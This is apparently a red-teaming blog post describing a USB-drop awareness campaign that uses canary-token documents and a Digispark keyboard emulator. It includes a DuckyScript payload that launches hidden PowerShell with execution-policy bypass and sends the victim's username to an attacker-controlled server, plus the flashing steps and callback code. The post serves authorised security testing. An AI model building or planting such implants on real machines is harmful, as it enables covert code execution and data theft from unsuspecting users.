Categories
Application Phishing Red Teaming

Red Teaming EP3: C2 and Usb Implant

This is the third and last blog post in the series of Red Teaming articles. The first article explains the concept of red teaming and the importance of its presence in day-to-day organizations. The second article was focused on the smishing phase, showing how to use the same infrastructure as in the first article now in the smishing phase. Following this, a scenario used to run a smishing campaign was demonstrated as well as the result extractions.

This article again makes use of the same scenario of the two previous articles, however the focus is on usb implant.

USB Implant, also known as malicious USB devices are devices that, when connected to a computer, can extract information from it and execute commands remotely. In these it is also possible to use canary tokens embedded in common files (.docx, .xlsx, .pdf, etc) in order to understand if the user has tried to open the files present in the implant or not.

 

Scenario

Following the last two articles, there is an organization that will be the target of a USB Implant attack where the auditors’ main goal is to know how many users insert the malicious devices.

For this, two types of devices were used:

  • A normal USB pen drive with malicious documents that will execute on open
  • A keyboard emulator looking like a pen drive with a nice custom cover

 

Requirements

In order to carry out the scenario presented above, some requirements are necessary:

  • All requirements from previous article excluding the Intrusive Awareness platform and the platform to send sms’s
  • Usb devices
    • Normal usb device
      • Contains canary tokens
    • Digispark Usb keyboard emulator
      • Get’s username from victim machine and callback to a specific endpoint on our website

 

Architecture

Since we are going to use two different types of USB devices, we decided to create two architectures so it is easier to understand the workflow of both.

The first one is referring to the Digispark device. Once the user inserts the malicious usb implant, digispark will execute code (gather username) on user workstation and then will make a GET request to http://orgxyz.com/script?user=<USERNAME>. With this, we are able to run code on the victim machine and get the username of the affected user.

The following image shows the architecture of the Digispark setup.

 

The second architecture refers to the normal USB device containing multiple canary tokens. When the user inserts the malicious USB device and opens any of the files present on it, the canary file will gather information about the user (geolocation, source ip, user agent, etc) and will execute a POST request to http://orgxyz.com/drop with the previous gathered information, later saving that information in a JSON file.

The following image shows the architecture of the normal USB device.

Setup

Edit flask route

So that we can receive the new GET and POST requests to our server, we need to define two new routes in routes.py, one referring to the Digispark request and other referring to the canary token.

# For digispark
@app.route("/script", methods=["GET", "POST"])
def ps1script():
        return render_template("orgxyz.html")

# For canary tokens
@app.route("/drop", methods=["POST"])
def drop():
        with open("~/Desktop/flask_app/usb_implant/calls.json") as f:
                data = json.load(f)
                temp = data["implants"]
                temp.append(request.json)

        with open("~/Desktop/flask_app/usb_implant/calls.json", "w") as fi:
                json.dump(data, fi, indent=4)


        return ("",204)

 

Creating json file

As shown previously, we now need a json file for the normal USB device.

This file is located at ~/Desktop/flask_app/usb_implant/calls.json  and it is used in the canary tokens workflow. This file holds the canary token output after he made the POST request to our server. The following shows the start contents of the call.json file.

{"implants" : []}

 

Generate canary token

Now that we have the necessary and crucial files, it is time to generate a new canary token.

For this example we will create a Microsoft Word canary token that when opened will callback to our flask website.

After going to https://canarytokens.org/ and creating the respective Microsoft Word canary token, we must configure the callback website and a simple note about the canary token as shown in the following image.

 

Then just create and save the new file inside the malicious USB device.

Note that canarytokens.org will try to POST to the callback website you specified in order to validate that the destination is correct.

 

Flash Digispark

The next points represent the steps we need to execute in order to flash the digispark usb devices.

 

Setup arduino

  • Assign dialout group to user
    • The documentation says that we should run arduino as root to be able to flash the device without any errors (http://digistump.com/wiki/digispark/tutorials/linuxtroubleshooting).
    • $ sudo usermod -aG dialout <user>
    • Download and install board specifications
      • This must be done because arduino does not come with Digispark board pre installed.
      • To download go to File > Preferences > Additional Board Manager URLs and paste this url http://digistump.com/package_digistump_index.json.

      • To install go to Tools > Board Manager and search for digispark

      • Set board specifications in arduino
        • Go to Tools > Board > Digistump > Digispark (Default – 16.5 mhz)

 

Setup script

  • Create script that will be flashed into the usb device
    • Hak5 has a lot of scripts that could be used in this step, however we will use a simpler script that will use powershell to do a web request to our server.
    • The following shows the respective duck script.
      DELAY 1000
      GUI r
      DELAY 100
      STRING powershell -windowstyle hidden
      ENTER
      DELAY 1000
      STRING powershell -NoP -NonI -W Hidden -Exec Bypass Invoke-WebRequest "http://orgxyz.com/script?user=$(whoami)"
      ENTER
      
    • Encode the duck script with the target keyboard layout
      • For this we will use USBRubberDuckyEncoder in order to encode the original duck script into the correct keyboard layout of the target.
      • In this case we will use the PT layout.

        $ python3 encoder.py -l pt orgxyz.duck
        Loading DuckyScript...  [ OK ]
        Loading keyboard...     [ OK ]
        Loading language...     [ OK ]
        Encoding...     Key not found: 
        Key not found: 
        Key not found: 
        Key not found: 
        Key not found: 
        Key not found: 
                [ OK ]
      • Convert duck script to digispark to use inside arduino
        • In order to achieve this we will use duck2spark with the binary output from the previous command.
        • Before executing this, remove all ord() calls in the duck2spark.py since in python3 the payload is already bytes and not a string.
        • After fixing the duck2spark.py, we will execute it with the binary output from USBRubberDuckyEncoder and we will use a flag (-n) so that the digispark led does not blink.

          $ python3 duck2spark.py -i output.bin -n

           

Flash the duck2spark output into the digispark device

  • Copy the output of duck2spark into arduino
    • Now that we executed duck2spark, we can copy the returned output into the arduino IDE.
    • Note that at this moment we still haven’t plugged the usb device.

 

  • Flash the digispark device
    • Now that we have our code we can first verify if the code is working and contains no errors like is shown in the following image.

    • Since everything is fine with the code, we can finally flash the digispark device, so to do this we need to press the upload button and then plug the digispark device.

    • Note that after flashing the device, the code will trigger automatically so we need to unplug the device.

     

    Debug

    While performing the flashing of digispark we may face some issues related with missing dependencies, or even the non-recognition of the device by the operating system.

    The following are some steps we can take in order to debug the root cause of the problem.

     

    Check life state of device

    When inserting the digispark device we might want to verify if the device is being recognized by the operating system and if it’s behaving properly. The following example shows the command to do this and the expected output from the digispark device.

    root@pop-os:~# dmesg
    [19697.184789] usb 2-5: New USB device found, idVendor=16c0, idProduct=27db, bcdDevice= 1.00
    [19697.184802] usb 2-5: New USB device strings: Mfr=1, Product=2, SerialNumber=0
    [19697.184808] usb 2-5: Product: DigiKey
    [19697.184812] usb 2-5: Manufacturer: digistump.com
    [19697.190207] input: digistump.com DigiKey as /devices/pci0000:00/0000:00:14.0/usb2/2-5/2-5:1.0/0003:16C0:27DB.000A/input/input25
    [19697.250548] hid-generic 0003:16C0:27DB.000A: input,hidraw5: USB HID v1.01 Keyboard [digistump.com DigiKey] on usb-0000:00:14.0-5/input0
    [19704.133332] usb 2-5: USB disconnect, device number 20
    [20401.972233] usb 2-5: new low-speed USB device number 21 using xhci_hcd
    [20402.124405] usb 2-5: New USB device found, idVendor=16d0, idProduct=0753, bcdDevice= 1.06
    [20402.124416] usb 2-5: New USB device strings: Mfr=0, Product=0, SerialNumber=0
    [20409.601679] usb 2-5: USB disconnect, device number 21
    [20424.396430] usb 2-5: new low-speed USB device number 22 using xhci_hcd
    [20424.548899] usb 2-5: New USB device found, idVendor=16d0, idProduct=0753, bcdDevice= 1.06
    [20424.548910] usb 2-5: New USB device strings: Mfr=0, Product=0, SerialNumber=0
    [20426.690839] usb 2-5: USB disconnect, device number 22
    [20427.212462] usb 2-5: new low-speed USB device number 23 using xhci_hcd
    

     

    To prove that this is working we can utilize the start example provided by Digispark in the arduino IDE. This example will prove that the usb device is working properly by flashing the red led present in the device.

    After flashing the device with the start example you should see red led flashing second by second, proving that the device is working correctly.

     

    Missing dependency

    Sometimes the missing dependency error happens when trying to flash the digispark device. 

    libusb-0.1.so.4: cannot open shared object file: No such file or directory

     

    This means that we are lacking a dependency, in this case libusb-0.1-4. To fix this we just need to install using sudo apt install libusb-0.1-4.

     

    Update udev rules

    Make sure the udev rules are properly updated since some operating systems use udev with read-only permissions which will not allow downloading code.

    To fix this we have to create a rule for micronucleus (/etc/udev/rules.d/49-micronucleus.rules) as shown in the following excerpt.

    # UDEV Rules for Micronucleus boards including the Digispark.
    # This file must be placed at:
    #
    # /etc/udev/rules.d/49-micronucleus.rules    (preferred location)
    #   or
    # /lib/udev/rules.d/49-micronucleus.rules    (req'd on some broken systems)
    #
    # After this file is copied, physically unplug and reconnect the board.
    #
    SUBSYSTEMS=="usb", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666"
    KERNEL=="ttyACM*", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666", ENV{ID_MM_DEVICE_IGNORE}="1"
    #
    # If you share your linux system with other users, or just don't like the
    # idea of write permission for everybody, you can replace MODE:="0666" with
    # OWNER:="yourusername" to create the device owned by you, or with
    # GROUP:="somegroupname" and mange access using standard unix groups.
    

     

    Clean digispark device

    It is possible to use another payload in the digispark device but we already know that if we plug the flashed device the previous code will execute, in order to fix this we need to first clean the device.

    Create an empty sketch in arduino and press the upload button, after this plug the digispark device.

     

    Results

    Canary token

    The following excerpt shows the result of a victim inserting the malicious usb implantrcmd that contained multiple canary tokens.

    {
       "implants":[
          {
             "manage_url":"https://canarytokens.org/manage?token=REDACTED&auth=REDACTED",
             "memo":"WordDoc Opened",
             "additional_data":{
                "request_headers":{
                   "X-Forwarded-Host":"canarytokens.org",
                   "X-Forwarded-For":"REDACTED",
                   "Host":"canarytokens.com",
                   "User-Agent":"Mozilla/4.0 (compatible; ms-office; MSOffice REDACTED)",
                   "Connection":"close",
                   "X-Real-Ip":"REDACTED"
                },
                "src_ip":"REDACTED",
                "referer":null,
                "location":null,
                "useragent":"Mozilla/4.0 (compatible; ms-office; MSOffice REDACTED)",
                "request_args":{
                   
                }
             },
             "channel":"HTTP",
             "time":"2023-03-02 09:31:56 (UTC)"
          }
       ]
    }
    

     

    Note that this information was extracted from the calls.json file and all the REDACTED information is valid data.

     

    Digispark

    In order to analyze the digispark results we need to verify nginx logs (/var/log/nginx/) since the payload was doing a GET request to our server with the victim username. The following shows a request made by the victim right after inserting the malicious digispark device.

    - [30/Mar/2023:16:23:19 +0000] "GET /script?user=john HTTP/1.1" 200 79 "-" "Mozilla/4.0"
    

     

    Conclusion

    In this article we have given the steps to generate canary tokens and save them inside a normal usb while getting alerts when someone is inserted in their computer.

    We have also seen how we could flash a digispark device and how we manage to receive information from the victim when inserting the malicious device.

    With this, we could land a more sophisticated attack targeted to an organization in order to study how well aware are users when using unknown devices.

    This is the last article in the series of red teaming where we build all the necessary infrastructure for the attacks demonstrated.

     

    References

     

    Autor

    Bruno Teixeira